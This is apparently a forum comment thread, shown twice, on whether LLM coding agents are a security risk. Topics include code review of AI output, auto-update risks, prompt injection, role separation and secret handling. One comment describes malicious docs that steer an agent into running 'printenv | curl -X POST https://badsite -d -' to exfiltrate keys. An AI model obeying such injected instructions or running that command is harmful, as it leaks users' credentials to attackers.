8 ms·

LLMs and coding agents are a security nightmare

194 points by flail 1y ago

sneak 1y ago
I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions. Cloudflare apparently did something similar recently. It is more than possible to write secure code with AI, just as it is more than possible to write secure code with inexperienced junior devs. As for the RCE vector; Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine. Separately from AI, most people deploy containers based on tagged version names, not cryptographic hashes. This is trivially exploitable by the container registry. We have learned nothing from Solarwinds.
- senko 1y ago
  > Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine. Isn't that the same for Chrome, VSCode, and any upstream-managed (as opposed to distro/os managed) package channel with auto updates? It's a bad default, but pretty much standard practice, and done in the name of security.
- bpt3 1y ago
  It sounds like you can create and release high quality software with or without an agent. What would have happened if someone without your domain expertise wasn't reviewing every line and making the changes you mentioned? People aren't concerned about you using agents, they're concerned about the second case I described.
  - Benjammer 1y ago
    Are you unaware of the concept of a junior engineer working in a company? You realize that not all human code is written by someone with domain expertise, right? Are you aware that your wording here is implying that you are describing a unique issue with AI code that is not present in human code? >What would have happened if someone without your domain expertise wasn't reviewing every line and making the changes you mentioned? So, we're talking about two variables, so four states: human-reviewed, human-not-reviewed, ai-reviewed, ai-not-reviewed. [non ai] *human-reviewed*: Humans write code, sometimes humans make mistakes, so we have other humans review the code for things like critical security issues *human-not-reviewed*: Maybe this is a project with a solo developer and automated testing, but otherwise this seems like a pretty bad idea, right? This is the classic version of "YOLO to production", right? [with ai] *ai-reviewed*: AI generates code, sometimes AI hallucinates or gets things very wrong or over-engineers things, so we have humans review all the code for things like critical security issues *ai-not-reviewed*: AI generates code, YOLO to prod, no human reads it - obviously this is terrible and barely works even for hobby projects with a solo developer and no stakes involved I'm wondering if the disconnect here is that actual professional programmers are just implicitly talking about going from [human-reviewed] to [ai-reviewed], assuming nobody in their right mind would just _skip code reviews_. The median professional software team would never build software without code reviews, imo. But are you thinking about this as going from [human-reviewed] straight to [ai-not-reviewed]? Or are you thinking about [human-not-reviewed] code for some reason? I guess it's not clear why you immediately latch onto the problems with [ai-not-reviewed] and seem to refuse to acknowledge the validity of the state [ai-reviewed] as being something that's possible? It's just really unclear why you are jumping straight to concerns like this without any nuance for how the existing industry works regarding similar problems before we used AI at all.
    - bpt3 1y ago
      It appears that you are jumping on posts by people who aren't an LLM advocate. My interest in debating a topic with someone who is anything approaching a zealot is near zero, but I will say this: Yes, junior developers exist. They generally consume more resources than they produce in value, with the hope that they will become productive at some later point. LLMs do not appear to be capable of crossing that threshold at scale, and even if they are, there is a clear cost/benefit tradeoff that can be performed with respect to a senior developer's time, the amount of improvement an LLM can derive from that time, and the value of that improvement to the organization when compared to letting others shoulder that expense. People skip code reviews all the time, where making a cursory, inadequate effort still can be considered skipping it. I agree a professional development team doesn't skip code reviews of their own code, but few people perform any meaningful review of dependencies. That said, having people review large amounts of AI-generated code is plausibly (and practically in my experience and in some limited studies) worse than having no AI involvement. People aren't refusing to acknowledge the "ai-reviewed" state, they are pushing back on people (you seem to be one of them) who advocate for that state as some sort of solution to the problem LLMs create (cranking out intern/junior quality code at a rate competent humans struggle to keep up with). Also, we are seeing more and more examples of "ai-not-reviewed" projects being released and used because non-developers are publishing the output from LLM coding assistants/agents. You seem to be the one struggling with context, nuance, and implicit assumptions, given that almost everyone seems to be on the same page and you are the one who is confused. In short, people are talking about the issues with "ai-reviewed" and "ai-not-reviewed", and focusing more on the "ai-reviewed" portion because the "ai-not-reviewed" issues are obvious as you stated. You just don't seem to get them for some reason.
      - sneak 1y ago
        > Yes, junior developers exist. They generally consume more resources than they produce in value, with the hope that they will become productive at some later point. I think this misrepresents the situation. Junior devs are not loss leading normal-devs-in-training, otherwise they wouldn’t be hired.
        1y ago
- lucasluitjes 1y ago
  > I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions. > Cloudflare apparently did something similar recently. Sure, LLMs don't magically remove your ability to audit code. But the way they're currently being used, do they make the average dev more or less likely to introduce vulnerabilities? By the way, a cursory look [0] revealed a number of security issues with that Cloudflare OAuth library. None directly exploitable, but not something you want in your most security-critical code either. [0] https://neilmadden.blog/2025/06/06/a-look-at-cloudflares-ai-coded-oauth-library/ https://neilmadden.blog/2025/06/06/a-look-at-cloudflares-ai-...
  - computerex 1y ago
    The humans missed that as well though, the security issues you point to. I don't think that's on the AI, ultimately, we humans are accountable to the work.
    - Duralias 1y ago
      If you have a developer who can code and isn't just vibe coding blindly, then that is an extra layer of security, sure it isn't amazingly more secure, but anyone that codes has at least some sense to not write in wildly insecure code like an LLM would, regardless of if it was tricked by things mentioned in the article or not.
senko 1y ago
tldr: Gary Marcus Went To Black Hat - What He Saw There Will Shock You (it won't if you've been following LLM coding space, but anyway...) I hoped Gary would have at least linked to the talks so people could get the actual info without his lenses, but no such luck. But he did link to The Post A Few Years Ago Where He Predicted It All. (yes I'm cynical: the post is mostly on point, but by now I wouldn't trust Marcus if he announced People Breathe Oxygen).
- popcorncowboy 1y ago
  The Gary Marcus Schtick at this point is to shit on LLM-anything, special extra poop if it's sama-anything. Great, I don't even disagree. But it's hard to read anything he puts up these days as he's become a caricature of the enlightened-LLM-hater to the extent that his work reads like auto-gen "whatever you said but the opposite, and also you suck, I'm Gary Marcus".
- flail 1y ago
  Save for Gary Marcus' ego, which you're right about, most of the article is written by Nathan Hamiel from Kudelski Security. The voice of the post sounds weird because Nathan is referred to in a third person, but from the content, it's pretty clear that much of that is not Gary Marcus. Also, slides from the Nvidia talk, which they refer to a lot, are linked. The Nathan's presentation links only to the conference website.
- iainctduncan 1y ago
  Did you read the article? I'm guessing not. It's a guest collaboration with a security researcher.
  - senko 1y ago
    You guessed wrong. I did read the article. I am guessing it wouldn't be near as on point were it written solely by Marcus.
dijksterhuis 1y ago
> RRT (Refrain Restrict Trap). > Refrain from using LLMs in high-risk or safety-critical scenarios. > Restrict the execution, permissions, and levels of access, such as what files a given system could read and execute, for example. > Trap inputs and outputs to the system, looking for potential attacks or leakage of sensitive data out of the system. this, this, this, a thousand billion times this. this isn’t new advice either. it’s been around for circa ten years at this point (possibly longer).
- deleted 1y ago
  [deleted]
diggan 1y ago
> might ok a code change they shouldn’t have Is the argument that developers who are less experience/in a hurry, will just accept whatever they're handed? In that case, this would be as true for random people submitting malicious PRs that someone accepts without reading, even without an LLM involved at all? Seems like an odd thing to call a "security nightmare".
- SamuelAdams 1y ago
  I was also confused. In our organization all PR’s must always be reviewed by a knowledgeable human. It does not matter if it was all LLM generated or written by a person. If insecure code makes it past that then there are bigger issues - why did no one catch this, is the team understanding the tech stack well enough, and did security scanning / tooling fall short, and if so how can that be improved?
  - IanCal 1y ago
    Aside from noting that reviews are not perfect and increased attacks is a risk anyway - the other major risk is running code on your dev machine. You may think to review this more for an unknown pr than an llm suggestion.
  - reilly3000 1y ago
    The attack isn’t bad code. It could be malicious docs that tell the LLM to make a tool call to printenv | curl -X POST https://badsite -d - and steal your keys.
  - hgomersall 1y ago
    Well LLMs are designed to produce code that looks right, which arguably makes the code review process much harder.
    - avbanks 1y ago
      This is such an overlooked aspect of coding agents, the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code.
lylejantzi3rd 1y ago
Is there a market for apps that use local LLMs? I don't know of many people who make their purchasing decisions based on security, but I do know lawyers are one subset that do. Using a local LLM isn't a surefire solution unless you also restrict the app's permissions, but it's got to be better than using chatgpt.com. The question is: how much better?
- flail 1y ago
  1. Organizations that care about controlling their data. Pretty much the same ones that were reluctant to embrace the cloud and kept their own server rooms. An additional flavor to that: even if my professional AI agent license guarantees that my data won't be used to train generic models, etc., when a US court would make OpenAI reveal your data, they will, no matter where it is physically stored. That's kinda a loophole in law-making, as e.g., the EU increasingly requires data to be stored locally. However, if one really wants control over the data, they might prefer to run everything in a local setup. Which is going to be way more complicated and expensive. 2. Small Language Models (SLMs). LLMs are generic. That's their whole point. No LLM-based solution needs all LLM's capabilities. And yet training and using the model, because of its sheer size, is expensive. In the long run, it may be more viable to deploy and train one's own, much smaller model operating only on very specific training data. The tradeoff here is that you get a cheaper in use and more specialized tool, at the cost of up-front development and no easy way of upgrading a model when a new wave of LLMs is deployed.
- A4ET8a8uTh0_v2 1y ago
  I think the short answer is that there is not one yet, but similar how there is a level of movement behind lan by people that want and can do that, we may eventually see something similar for non-technical users. At the end of the day, security is not sexy, but LLM input/output is a treasure throve if usable information.. I am building something for myself now and local is first consideration, because, as most of us here, likely see the direction publicly facing LLMs are going. FWIW, it kinda sucks, because I started to really enjoy my sessions with 4o
- dismalaf 1y ago
  > Is there a market for apps that use local LLMs? Without a doubt. Companies like Mistral and Cohere (probably others too) will set up local LLMs for your organisation, in fact it's basically Cohere's main business model.
rpicard 1y ago
I’ve noticed a strong negative streak in the security community around LLMs. Lots of comments about how they’ll just generate more vulnerabilities, “junk code”, etc. It seems very short sighted. I think of it more like self driving cars. I expect the error rate to quickly become lower than humans. Maybe in a couple of years we’ll consider it irresponsible not to write security and safety critical code with frontier LLMs.
- tptacek 1y ago
  There are plenty of security people on the other side of this issue; they're just not making news, because the way you make news in security is by announcing vulnerabilities. By way of example, last I checked, Dave Aitel was at OpenAI.
  - croes 1y ago
    [flagged]
    - tptacek 1y ago
      Zzzzz. I don't think you're going to be able to No True Scotsman Dave Aitel out of security.
      - croes 1y ago
        More like He who pays the piper calls the tune.
  - rpicard 1y ago
    Fair! I’ve been surprised in some cases. I’m thinking specifically of a handful of conversations I was in or around during the Vegas cons. I might also be hyper sensitive to the cynicism. It tends to bug me more than it probably should.
    - tptacek 1y ago
      A significant component of it is backlash/exhaustion from the volume of stories about it. I like LLMs, and I'm far past sick of stories about them.
padolsey 1y ago
Most of these attacks succeed because app developers either don’t trust role boundaries or don’t understand them. They assume the model can’t reliably separate trusted instructions (system/developer rules) from untrusted ones (user or retrieved data), so they flippantly pump arbitrary context into the system or developer role. But alignment work has steadily improved role adherence; a tonne of RLHF work has gone into making sure roles are respected, like kernel vs. user space. If role separation were treated seriously -- and seen as a vital and winnable benchmark (thus motivate AI labs to make it even tighter) many prompt injection vectors would collapse... I don't know why these articles don't communicate this as a kind of central pillar. Fwiw I wrote a while back about the “ROLP” — Role of Least Privilege — as a way to think about this, but the idea doesn't invigorate the senses I guess. So, even with better role adherence in newer models, entrenched developer patterns keep the door open. If they cared tho, the attack vectors would collapse.
- jonfw 1y ago
  > If role separation were treated seriously -- and seen as a vital and winnable benchmark, many prompt injection vectors would collapse... I think it will get harder and harder to do prompt injection over time as techniques to seperate user from system input mature and as models are trained on this strategy. That being said, prompt injection attacks will also mature, and I don't think that the architecture of an LLM will allow us to eliminate the category of attack. All that we can do is mitigate
- spacebanana7 1y ago
  > They assume the model can’t reliably separate trusted instructions (system/developer rules) from untrusted ones (user or retrieved data) No current model can reliably do this.
oxcabe 1y ago
It'll get better over time. Or, at least, it should. The biggest concern to me is that most public-facing LLM integrations follow product roadmaps that often focus in shipping more capable, more usable versions of the tool, instead of limiting the product scope based on the perceived maturity of the underlying technology. There's a worrying amount of LLM-based services and agents in development by engineering teams that haven't still considered the massive threat surface they're exposing, mainly because a lot of them aren't even aware of how LLM security/safety testing even looks like.
- Mizza 1y ago
  Until there's a paradigm shift and we get data and instructions in different bands, I don't see how it can get better over time. It's like we've decided to build the foundation of the next ten years of technology in unescaped PHP. There are ways to make it work, but it's not the easiest path, and since the whole purpose of the AI initiative seems to be to promote developer laziness, I think there are bigger fuck-ups yet to come.
- iainctduncan 1y ago
  Why do you think this? the general state of security has gotten significantly worse over time. More attacks succeed, more attacks happen, ransoms are bigger, damage is bigger. The historical evidence should give us zero confidence that new tech will get more secure.
  - oxcabe 1y ago
    > Why do you think this? From an uncertainty point of view, AI security is an _unknown unknown_, or a non-consideration to most product engineering teams. Everyone is rushing to roll the AI features out, as they fear missing out and start running behind any potential AI-native solutions from competitors. This is a hype phase, and it's a matter of time that it ends. Best case scenario? the hype train runs out of fuel and those companies will start allocating some resources to improving robustness in AI integrations. What else could happen? AI-targeted attacks create such profound consequences and damage to the market that everyone will stop pushing out of (rational) fear of running the same fate. Either way, AI security awareness will eventually increase. > the general state of security has gotten significantly worse over time. More attacks succeed, more attacks happen, ransoms are bigger, damage is bigger Yeah, that's right. And there's also more online businesses, services, users each year. It's just not that easy to state that things are going for the better or worse unless we (both of us) put the effort to properly contextualize the circumstances and statistically reason through it.
oulipo 1y ago
That's why now I've completely eliminated .env secrets from my codebase and I only use 1Password (with the cli) so it loads secrets dynamically as needed. So if I'm running some AI CLI on my codebase it won't try to leak some secrets
- theozero 1y ago
  Getting secrets out of plaintext env files is a fantastic idea, and I hope more people realize how important it is. Check out https://varlock.dev https://varlock.dev to add validation, type-safety, and additional security guardrails.
ath3nd 1y ago
You can omit "security" and you'd still be right, replace it with "maintainability", you'd still be right.

194 points by flail 1y ago

I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions. Cloudflare apparently did something similar recently. It is more than possible to write secure code with AI, just as it is more than possible to write secure code with inexperienced junior devs. As for the RCE vector; Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine. Separately from AI, most people deploy containers based on tagged version names, not cryptographic hashes. This is trivially exploitable by the container registry. We have learned nothing from Solarwinds.

senko 1y ago
> Claude Code has realtime no-intervention autoupdate enabled by default. Everyone running it has willfully opted in to giving Anthropic releng (and anyone who can coerce/compel them) full RCE on their machine. Isn't that the same for Chrome, VSCode, and any upstream-managed (as opposed to distro/os managed) package channel with auto updates? It's a bad default, but pretty much standard practice, and done in the name of security.
bpt3 1y ago
It sounds like you can create and release high quality software with or without an agent. What would have happened if someone without your domain expertise wasn't reviewing every line and making the changes you mentioned? People aren't concerned about you using agents, they're concerned about the second case I described.
- Benjammer 1y ago
  Are you unaware of the concept of a junior engineer working in a company? You realize that not all human code is written by someone with domain expertise, right? Are you aware that your wording here is implying that you are describing a unique issue with AI code that is not present in human code? >What would have happened if someone without your domain expertise wasn't reviewing every line and making the changes you mentioned? So, we're talking about two variables, so four states: human-reviewed, human-not-reviewed, ai-reviewed, ai-not-reviewed. [non ai] *human-reviewed*: Humans write code, sometimes humans make mistakes, so we have other humans review the code for things like critical security issues *human-not-reviewed*: Maybe this is a project with a solo developer and automated testing, but otherwise this seems like a pretty bad idea, right? This is the classic version of "YOLO to production", right? [with ai] *ai-reviewed*: AI generates code, sometimes AI hallucinates or gets things very wrong or over-engineers things, so we have humans review all the code for things like critical security issues *ai-not-reviewed*: AI generates code, YOLO to prod, no human reads it - obviously this is terrible and barely works even for hobby projects with a solo developer and no stakes involved I'm wondering if the disconnect here is that actual professional programmers are just implicitly talking about going from [human-reviewed] to [ai-reviewed], assuming nobody in their right mind would just _skip code reviews_. The median professional software team would never build software without code reviews, imo. But are you thinking about this as going from [human-reviewed] straight to [ai-not-reviewed]? Or are you thinking about [human-not-reviewed] code for some reason? I guess it's not clear why you immediately latch onto the problems with [ai-not-reviewed] and seem to refuse to acknowledge the validity of the state [ai-reviewed] as being something that's possible? It's just really unclear why you are jumping straight to concerns like this without any nuance for how the existing industry works regarding similar problems before we used AI at all.
  - bpt3 1y ago
    It appears that you are jumping on posts by people who aren't an LLM advocate. My interest in debating a topic with someone who is anything approaching a zealot is near zero, but I will say this: Yes, junior developers exist. They generally consume more resources than they produce in value, with the hope that they will become productive at some later point. LLMs do not appear to be capable of crossing that threshold at scale, and even if they are, there is a clear cost/benefit tradeoff that can be performed with respect to a senior developer's time, the amount of improvement an LLM can derive from that time, and the value of that improvement to the organization when compared to letting others shoulder that expense. People skip code reviews all the time, where making a cursory, inadequate effort still can be considered skipping it. I agree a professional development team doesn't skip code reviews of their own code, but few people perform any meaningful review of dependencies. That said, having people review large amounts of AI-generated code is plausibly (and practically in my experience and in some limited studies) worse than having no AI involvement. People aren't refusing to acknowledge the "ai-reviewed" state, they are pushing back on people (you seem to be one of them) who advocate for that state as some sort of solution to the problem LLMs create (cranking out intern/junior quality code at a rate competent humans struggle to keep up with). Also, we are seeing more and more examples of "ai-not-reviewed" projects being released and used because non-developers are publishing the output from LLM coding assistants/agents. You seem to be the one struggling with context, nuance, and implicit assumptions, given that almost everyone seems to be on the same page and you are the one who is confused. In short, people are talking about the issues with "ai-reviewed" and "ai-not-reviewed", and focusing more on the "ai-reviewed" portion because the "ai-not-reviewed" issues are obvious as you stated. You just don't seem to get them for some reason.
    - sneak 1y ago
      > Yes, junior developers exist. They generally consume more resources than they produce in value, with the hope that they will become productive at some later point. I think this misrepresents the situation. Junior devs are not loss leading normal-devs-in-training, otherwise they wouldn’t be hired.
      - 1y ago
lucasluitjes 1y ago
> I have recently written security-sensitive code using Opus 4. I of course reviewed every line and made lots of both manual and prompt-based revisions. > Cloudflare apparently did something similar recently. Sure, LLMs don't magically remove your ability to audit code. But the way they're currently being used, do they make the average dev more or less likely to introduce vulnerabilities? By the way, a cursory look [0] revealed a number of security issues with that Cloudflare OAuth library. None directly exploitable, but not something you want in your most security-critical code either. [0] https://neilmadden.blog/2025/06/06/a-look-at-cloudflares-ai-coded-oauth-library/ https://neilmadden.blog/2025/06/06/a-look-at-cloudflares-ai-...
- computerex 1y ago
  The humans missed that as well though, the security issues you point to. I don't think that's on the AI, ultimately, we humans are accountable to the work.
  - Duralias 1y ago
    If you have a developer who can code and isn't just vibe coding blindly, then that is an extra layer of security, sure it isn't amazingly more secure, but anyone that codes has at least some sense to not write in wildly insecure code like an LLM would, regardless of if it was tricked by things mentioned in the article or not.

senko 1y ago

tldr: Gary Marcus Went To Black Hat - What He Saw There Will Shock You (it won't if you've been following LLM coding space, but anyway...) I hoped Gary would have at least linked to the talks so people could get the actual info without his lenses, but no such luck. But he did link to The Post A Few Years Ago Where He Predicted It All. (yes I'm cynical: the post is mostly on point, but by now I wouldn't trust Marcus if he announced People Breathe Oxygen).

popcorncowboy 1y ago
The Gary Marcus Schtick at this point is to shit on LLM-anything, special extra poop if it's sama-anything. Great, I don't even disagree. But it's hard to read anything he puts up these days as he's become a caricature of the enlightened-LLM-hater to the extent that his work reads like auto-gen "whatever you said but the opposite, and also you suck, I'm Gary Marcus".
flail 1y ago
Save for Gary Marcus' ego, which you're right about, most of the article is written by Nathan Hamiel from Kudelski Security. The voice of the post sounds weird because Nathan is referred to in a third person, but from the content, it's pretty clear that much of that is not Gary Marcus. Also, slides from the Nvidia talk, which they refer to a lot, are linked. The Nathan's presentation links only to the conference website.
iainctduncan 1y ago
Did you read the article? I'm guessing not. It's a guest collaboration with a security researcher.
- senko 1y ago
  You guessed wrong. I did read the article. I am guessing it wouldn't be near as on point were it written solely by Marcus.

dijksterhuis 1y ago

> RRT (Refrain Restrict Trap). > Refrain from using LLMs in high-risk or safety-critical scenarios. > Restrict the execution, permissions, and levels of access, such as what files a given system could read and execute, for example. > Trap inputs and outputs to the system, looking for potential attacks or leakage of sensitive data out of the system. this, this, this, a thousand billion times this. this isn’t new advice either. it’s been around for circa ten years at this point (possibly longer).

deleted 1y ago
[deleted]

diggan 1y ago

> might ok a code change they shouldn’t have Is the argument that developers who are less experience/in a hurry, will just accept whatever they're handed? In that case, this would be as true for random people submitting malicious PRs that someone accepts without reading, even without an LLM involved at all? Seems like an odd thing to call a "security nightmare".

SamuelAdams 1y ago
I was also confused. In our organization all PR’s must always be reviewed by a knowledgeable human. It does not matter if it was all LLM generated or written by a person. If insecure code makes it past that then there are bigger issues - why did no one catch this, is the team understanding the tech stack well enough, and did security scanning / tooling fall short, and if so how can that be improved?
- IanCal 1y ago
  Aside from noting that reviews are not perfect and increased attacks is a risk anyway - the other major risk is running code on your dev machine. You may think to review this more for an unknown pr than an llm suggestion.
- reilly3000 1y ago
  The attack isn’t bad code. It could be malicious docs that tell the LLM to make a tool call to printenv | curl -X POST https://badsite -d - and steal your keys.
- hgomersall 1y ago
  Well LLMs are designed to produce code that looks right, which arguably makes the code review process much harder.
  - avbanks 1y ago
    This is such an overlooked aspect of coding agents, the code review process is significantly harder now because bug/vulnerabilities are being hidden under plausible looking code.

lylejantzi3rd 1y ago

Is there a market for apps that use local LLMs? I don't know of many people who make their purchasing decisions based on security, but I do know lawyers are one subset that do. Using a local LLM isn't a surefire solution unless you also restrict the app's permissions, but it's got to be better than using chatgpt.com. The question is: how much better?

flail 1y ago
1. Organizations that care about controlling their data. Pretty much the same ones that were reluctant to embrace the cloud and kept their own server rooms. An additional flavor to that: even if my professional AI agent license guarantees that my data won't be used to train generic models, etc., when a US court would make OpenAI reveal your data, they will, no matter where it is physically stored. That's kinda a loophole in law-making, as e.g., the EU increasingly requires data to be stored locally. However, if one really wants control over the data, they might prefer to run everything in a local setup. Which is going to be way more complicated and expensive. 2. Small Language Models (SLMs). LLMs are generic. That's their whole point. No LLM-based solution needs all LLM's capabilities. And yet training and using the model, because of its sheer size, is expensive. In the long run, it may be more viable to deploy and train one's own, much smaller model operating only on very specific training data. The tradeoff here is that you get a cheaper in use and more specialized tool, at the cost of up-front development and no easy way of upgrading a model when a new wave of LLMs is deployed.
A4ET8a8uTh0_v2 1y ago
I think the short answer is that there is not one yet, but similar how there is a level of movement behind lan by people that want and can do that, we may eventually see something similar for non-technical users. At the end of the day, security is not sexy, but LLM input/output is a treasure throve if usable information.. I am building something for myself now and local is first consideration, because, as most of us here, likely see the direction publicly facing LLMs are going. FWIW, it kinda sucks, because I started to really enjoy my sessions with 4o
dismalaf 1y ago
> Is there a market for apps that use local LLMs? Without a doubt. Companies like Mistral and Cohere (probably others too) will set up local LLMs for your organisation, in fact it's basically Cohere's main business model.

rpicard 1y ago

I’ve noticed a strong negative streak in the security community around LLMs. Lots of comments about how they’ll just generate more vulnerabilities, “junk code”, etc. It seems very short sighted. I think of it more like self driving cars. I expect the error rate to quickly become lower than humans. Maybe in a couple of years we’ll consider it irresponsible not to write security and safety critical code with frontier LLMs.

tptacek 1y ago
There are plenty of security people on the other side of this issue; they're just not making news, because the way you make news in security is by announcing vulnerabilities. By way of example, last I checked, Dave Aitel was at OpenAI.
- croes 1y ago
  [flagged]
  - tptacek 1y ago
    Zzzzz. I don't think you're going to be able to No True Scotsman Dave Aitel out of security.
    - croes 1y ago
      More like He who pays the piper calls the tune.
- rpicard 1y ago
  Fair! I’ve been surprised in some cases. I’m thinking specifically of a handful of conversations I was in or around during the Vegas cons. I might also be hyper sensitive to the cynicism. It tends to bug me more than it probably should.
  - tptacek 1y ago
    A significant component of it is backlash/exhaustion from the volume of stories about it. I like LLMs, and I'm far past sick of stories about them.

padolsey 1y ago

Most of these attacks succeed because app developers either don’t trust role boundaries or don’t understand them. They assume the model can’t reliably separate trusted instructions (system/developer rules) from untrusted ones (user or retrieved data), so they flippantly pump arbitrary context into the system or developer role. But alignment work has steadily improved role adherence; a tonne of RLHF work has gone into making sure roles are respected, like kernel vs. user space. If role separation were treated seriously -- and seen as a vital and winnable benchmark (thus motivate AI labs to make it even tighter) many prompt injection vectors would collapse... I don't know why these articles don't communicate this as a kind of central pillar. Fwiw I wrote a while back about the “ROLP” — Role of Least Privilege — as a way to think about this, but the idea doesn't invigorate the senses I guess. So, even with better role adherence in newer models, entrenched developer patterns keep the door open. If they cared tho, the attack vectors would collapse.

jonfw 1y ago
> If role separation were treated seriously -- and seen as a vital and winnable benchmark, many prompt injection vectors would collapse... I think it will get harder and harder to do prompt injection over time as techniques to seperate user from system input mature and as models are trained on this strategy. That being said, prompt injection attacks will also mature, and I don't think that the architecture of an LLM will allow us to eliminate the category of attack. All that we can do is mitigate
spacebanana7 1y ago
> They assume the model can’t reliably separate trusted instructions (system/developer rules) from untrusted ones (user or retrieved data) No current model can reliably do this.

oxcabe 1y ago

It'll get better over time. Or, at least, it should. The biggest concern to me is that most public-facing LLM integrations follow product roadmaps that often focus in shipping more capable, more usable versions of the tool, instead of limiting the product scope based on the perceived maturity of the underlying technology. There's a worrying amount of LLM-based services and agents in development by engineering teams that haven't still considered the massive threat surface they're exposing, mainly because a lot of them aren't even aware of how LLM security/safety testing even looks like.

Mizza 1y ago
Until there's a paradigm shift and we get data and instructions in different bands, I don't see how it can get better over time. It's like we've decided to build the foundation of the next ten years of technology in unescaped PHP. There are ways to make it work, but it's not the easiest path, and since the whole purpose of the AI initiative seems to be to promote developer laziness, I think there are bigger fuck-ups yet to come.
iainctduncan 1y ago
Why do you think this? the general state of security has gotten significantly worse over time. More attacks succeed, more attacks happen, ransoms are bigger, damage is bigger. The historical evidence should give us zero confidence that new tech will get more secure.
- oxcabe 1y ago
  > Why do you think this? From an uncertainty point of view, AI security is an _unknown unknown_, or a non-consideration to most product engineering teams. Everyone is rushing to roll the AI features out, as they fear missing out and start running behind any potential AI-native solutions from competitors. This is a hype phase, and it's a matter of time that it ends. Best case scenario? the hype train runs out of fuel and those companies will start allocating some resources to improving robustness in AI integrations. What else could happen? AI-targeted attacks create such profound consequences and damage to the market that everyone will stop pushing out of (rational) fear of running the same fate. Either way, AI security awareness will eventually increase. > the general state of security has gotten significantly worse over time. More attacks succeed, more attacks happen, ransoms are bigger, damage is bigger Yeah, that's right. And there's also more online businesses, services, users each year. It's just not that easy to state that things are going for the better or worse unless we (both of us) put the effort to properly contextualize the circumstances and statistically reason through it.

oulipo 1y ago

That's why now I've completely eliminated .env secrets from my codebase and I only use 1Password (with the cli) so it loads secrets dynamically as needed. So if I'm running some AI CLI on my codebase it won't try to leak some secrets

theozero 1y ago
Getting secrets out of plaintext env files is a fantastic idea, and I hope more people realize how important it is. Check out https://varlock.dev https://varlock.dev to add validation, type-safety, and additional security guardrails.

ath3nd 1y ago

You can omit "security" and you'd still be right, replace it with "maintainability", you'd still be right.